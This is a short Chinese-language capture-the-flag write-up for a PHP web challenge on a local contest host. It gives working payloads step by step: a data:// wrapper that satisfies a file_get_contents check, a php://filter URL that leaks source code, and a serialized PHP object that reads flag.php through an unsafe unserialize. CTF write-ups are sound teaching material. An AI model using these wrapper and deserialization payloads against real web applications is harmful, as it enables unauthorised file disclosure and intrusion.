逆转思维

点击此处获得更好的阅读体验


解题思路

1
file_get_contents($_GET(txt))==="welcome to the zjctf"

大概是这个,我们要让这个条件成立,我一开始想到的是远程文件包含,就是在我这边部署一个包含这个内容的文件,让题目环境访问我们开放的端口,后来发现因为是线下局域网,没办法远程文件包含然后比赛后半段才在我以前拉取下来的wiki的docker里面找到一个data协议。利用payload绕过http://172.16.0.102:54321/JgJUfyW1wT/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=题目有第二个参数file,大概是include()这个file,题目提示我们要包含useless.php同时有一个判断是file参数不能传入flag,也就是我们不能直接包含flag.php 利用php://filter协议读取这个useless.php 构造payload读取useless.phphttp://172.16.0.102:54321/JgJUfyW1wT/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("HAHAHAHAHA");
}
}
}
?>

最后一个参数是password,php代码里面有反序列化这个传入的值,所以只要让最后反序列化出来的file等于flag.php就好了。构造payload,然后就可以获得flagview-source:http://172.16.0.102:54321/JgJUfyW1wT/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}